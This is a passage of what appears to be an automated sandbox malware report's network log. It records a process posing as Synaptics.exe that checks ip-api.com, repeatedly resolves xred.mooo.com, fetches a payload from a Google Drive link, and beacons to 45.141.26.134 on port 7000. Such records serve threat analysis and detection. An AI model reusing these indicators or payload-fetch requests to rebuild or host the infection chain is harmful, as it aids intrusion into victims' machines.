Jan 2, 2025 20:13:16.712297916 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:19.423882008 CET	49720	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:13:21.111674070 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:21.116638899 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:21.159619093 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:21.165086985 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:21.456005096 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:21.458189964 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:21.463005066 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:21.708175898 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:21.711091995 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:21.716012955 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:24.432107925 CET	56656	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:13:24.458692074 CET	56658	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:13:24.458791971 CET	56660	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:13:27.362569094 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:27.367511034 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:27.708040953 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:27.713010073 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:27.714891911 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:27.720041990 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:27.768739939 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:28.054369926 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:28.057617903 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:28.062606096 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:37.221158981 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:37.226161957 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:37.236696959 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:37.241482973 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:37.252319098 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:37.257158041 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:37.330826044 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:37.335721970 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:37.439850092 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:37.444854021 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:37.593125105 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:37.594968081 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:37.599812984 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:37.844954014 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:37.846765041 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:37.851583958 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:38.096348047 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:38.098014116 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:38.102847099 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:38.104115009 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:38.108906984 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:42.257999897 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:42.439667940 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:43.283646107 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:43.288599014 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:43.361738920 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:43.366689920 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:43.377600908 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:43.382710934 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:43.440416098 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:43.445297956 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:43.627823114 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:43.629785061 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:43.634634972 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:43.904524088 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:43.906608105 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:43.911418915 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:44.158217907 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:44.160027027 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:44.167056084 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:44.167114973 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:44.171884060 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:48.502330065 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:48.507236958 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:48.859152079 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:48.860708952 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:48.865531921 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:59.549268007 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:59.554138899 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:59.893249989 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:59.895562887 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:59.900552988 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:10.596271992 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:10.601144075 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:10.944950104 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:10.946893930 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:10.951713085 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:12.266280890 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:12.330338001 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:21.643167019 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:21.648150921 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:22.000823975 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:22.006220102 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:22.011013031 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:32.690000057 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:32.694967985 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:33.033756018 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:33.035826921 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:33.040653944 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:34.410058975 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:34.414917946 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:34.753675938 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:34.755480051 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:34.760329008 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:35.816024065 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:35.820869923 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:35.846313000 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:35.851145029 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:35.940114021 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:35.944888115 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:36.159843922 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:36.161590099 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:36.166393995 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:36.256944895 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:36.261778116 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:36.422305107 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:36.428025007 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:36.432934999 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:36.761760950 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:36.763139963 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:36.767950058 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:37.418582916 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:37.459579945 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:37.464354992 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:42.273489952 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:42.316042900 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:45.080904961 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:45.085871935 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:45.424957991 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:45.425709009 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:45.430608034 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:56.127615929 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:56.132548094 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:56.471932888 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:14:56.472575903 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:14:56.477365971 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:15:07.174474001 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:15:07.179434061 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:15:07.518618107 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:15:07.519359112 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:15:07.524199009 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:15:12.274247885 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:15:12.318157911 CET	49740	7000	192.168.2.7	45.141.26.134

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 20:10:43.955135107 CET	55583	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:10:43.962304115 CET	53	55583	1.1.1.1	192.168.2.7
Jan 2, 2025 20:10:45.140902042 CET	59676	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:10:45.147829056 CET	53	59676	1.1.1.1	192.168.2.7
Jan 2, 2025 20:10:46.208051920 CET	61674	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:10:46.333956003 CET	53	61674	1.1.1.1	192.168.2.7
Jan 2, 2025 20:10:46.914006948 CET	53550	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:10:46.921617985 CET	58598	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:10:46.921695948 CET	53	53550	1.1.1.1	192.168.2.7
Jan 2, 2025 20:10:46.929199934 CET	53	58598	1.1.1.1	192.168.2.7
Jan 2, 2025 20:10:53.336427927 CET	53	61279	1.1.1.1	192.168.2.7
Jan 2, 2025 20:10:53.425503969 CET	49758	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:10:53.552411079 CET	53	49758	1.1.1.1	192.168.2.7
Jan 2, 2025 20:11:00.379338980 CET	51176	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:11:00.386379957 CET	53	51176	1.1.1.1	192.168.2.7
Jan 2, 2025 20:11:07.206489086 CET	61363	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:11:07.213653088 CET	53	61363	1.1.1.1	192.168.2.7
Jan 2, 2025 20:11:14.019118071 CET	59729	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:11:14.026540041 CET	53	59729	1.1.1.1	192.168.2.7
Jan 2, 2025 20:11:18.534775972 CET	59440	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:11:18.544977903 CET	53	59440	1.1.1.1	192.168.2.7
Jan 2, 2025 20:11:24.253458977 CET	52903	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:11:24.260989904 CET	53	52903	1.1.1.1	192.168.2.7
Jan 2, 2025 20:11:31.050600052 CET	60454	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:11:31.063296080 CET	53	60454	1.1.1.1	192.168.2.7
Jan 2, 2025 20:11:35.597680092 CET	58194	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:11:35.604990959 CET	53	58194	1.1.1.1	192.168.2.7
Jan 2, 2025 20:11:41.253745079 CET	64583	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:11:41.261260986 CET	53	64583	1.1.1.1	192.168.2.7
Jan 2, 2025 20:11:48.066443920 CET	61267	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:11:48.073645115 CET	53	61267	1.1.1.1	192.168.2.7
Jan 2, 2025 20:11:52.597662926 CET	52895	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:11:52.604758024 CET	53	52895	1.1.1.1	192.168.2.7
Jan 2, 2025 20:11:58.285048008 CET	52530	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:11:58.292377949 CET	53	52530	1.1.1.1	192.168.2.7
Jan 2, 2025 20:12:05.269085884 CET	52791	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:12:05.276616096 CET	53	52791	1.1.1.1	192.168.2.7
Jan 2, 2025 20:12:12.097405910 CET	65340	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:12:12.104777098 CET	53	65340	1.1.1.1	192.168.2.7
Jan 2, 2025 20:12:16.645948887 CET	55132	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:12:16.653367996 CET	53	55132	1.1.1.1	192.168.2.7
Jan 2, 2025 20:12:22.316513062 CET	53649	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:12:22.323908091 CET	53	53649	1.1.1.1	192.168.2.7
Jan 2, 2025 20:12:59.939465046 CET	51015	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:12:59.947118044 CET	53	51015	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 2, 2025 20:10:43.955135107 CET	192.168.2.7	1.1.1.1	0xbd09	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:10:45.140902042 CET	192.168.2.7	1.1.1.1	0x3dc0	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:10:46.208051920 CET	192.168.2.7	1.1.1.1	0xb1d6	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:10:46.914006948 CET	192.168.2.7	1.1.1.1	0xf7de	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:10:46.921617985 CET	192.168.2.7	1.1.1.1	0x971	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:10:53.425503969 CET	192.168.2.7	1.1.1.1	0xf2df	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:00.379338980 CET	192.168.2.7	1.1.1.1	0x337	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:07.206489086 CET	192.168.2.7	1.1.1.1	0xcbf1	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:14.019118071 CET	192.168.2.7	1.1.1.1	0xcf84	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:18.534775972 CET	192.168.2.7	1.1.1.1	0x8521	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:24.253458977 CET	192.168.2.7	1.1.1.1	0x3ca8	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:31.050600052 CET	192.168.2.7	1.1.1.1	0x2f2	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:35.597680092 CET	192.168.2.7	1.1.1.1	0x2d86	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:41.253745079 CET	192.168.2.7	1.1.1.1	0x3e0a	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:48.066443920 CET	192.168.2.7	1.1.1.1	0x5e6e	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:52.597662926 CET	192.168.2.7	1.1.1.1	0x114f	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:58.285048008 CET	192.168.2.7	1.1.1.1	0x1e9f	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:12:05.269085884 CET	192.168.2.7	1.1.1.1	0x4761	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:12:12.097405910 CET	192.168.2.7	1.1.1.1	0x8cbb	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:12:16.645948887 CET	192.168.2.7	1.1.1.1	0x4e28	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:12:22.316513062 CET	192.168.2.7	1.1.1.1	0x7cce	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:12:59.939465046 CET	192.168.2.7	1.1.1.1	0xf0a8	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 2, 2025 20:10:43.962304115 CET	1.1.1.1	192.168.2.7	0xbd09	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:10:45.147829056 CET	1.1.1.1	192.168.2.7	0x3dc0	No error (0)	docs.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:10:46.333956003 CET	1.1.1.1	192.168.2.7	0xb1d6	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:10:46.921695948 CET	1.1.1.1	192.168.2.7	0xf7de	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:10:46.929199934 CET	1.1.1.1	192.168.2.7	0x971	No error (0)	drive.usercontent.google.com		142.250.185.193	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:10:53.552411079 CET	1.1.1.1	192.168.2.7	0xf2df	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:00.386379957 CET	1.1.1.1	192.168.2.7	0x337	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:07.213653088 CET	1.1.1.1	192.168.2.7	0xcbf1	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:14.026540041 CET	1.1.1.1	192.168.2.7	0xcf84	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:18.544977903 CET	1.1.1.1	192.168.2.7	0x8521	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:24.260989904 CET	1.1.1.1	192.168.2.7	0x3ca8	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:31.063296080 CET	1.1.1.1	192.168.2.7	0x2f2	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:35.604990959 CET	1.1.1.1	192.168.2.7	0x2d86	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:41.261260986 CET	1.1.1.1	192.168.2.7	0x3e0a	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:47.787852049 CET	1.1.1.1	192.168.2.7	0x5ebd	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:11:47.787852049 CET	1.1.1.1	192.168.2.7	0x5ebd	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:48.073645115 CET	1.1.1.1	192.168.2.7	0x5e6e	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:52.604758024 CET	1.1.1.1	192.168.2.7	0x114f	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:11:58.292377949 CET	1.1.1.1	192.168.2.7	0x1e9f	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:12:05.276616096 CET	1.1.1.1	192.168.2.7	0x4761	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:12:12.104777098 CET	1.1.1.1	192.168.2.7	0x8cbb	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:12:16.653367996 CET	1.1.1.1	192.168.2.7	0x4e28	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:12:22.323908091 CET	1.1.1.1	192.168.2.7	0x7cce	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:12:59.947118044 CET	1.1.1.1	192.168.2.7	0xf0a8	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docs.google.com

drive.usercontent.google.com

ip-api.com

freedns.afraid.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49712	208.95.112.1	80	4716	C:\Users\user\Desktop\._cache_svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 20:10:43.982323885 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jan 2, 2025 20:10:44.496450901 CET	175	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 19:10:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 58 X-Rl: 43 Data Raw: 66 61 6c 73 65 0a Data Ascii: false
Jan 2, 2025 20:10:44.706563950 CET	175	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 19:10:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 58 X-Rl: 43 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49720	69.42.215.252	80	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 20:10:46.931766033 CET	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Jan 2, 2025 20:10:47.535732031 CET	243	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 02 Jan 2025 19:10:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49717	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:46 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-1-7ewUKrmUDQ8jq2xD0Z9Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49716	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:46 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-3Aat01ajVogn9qBxRptKIw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, 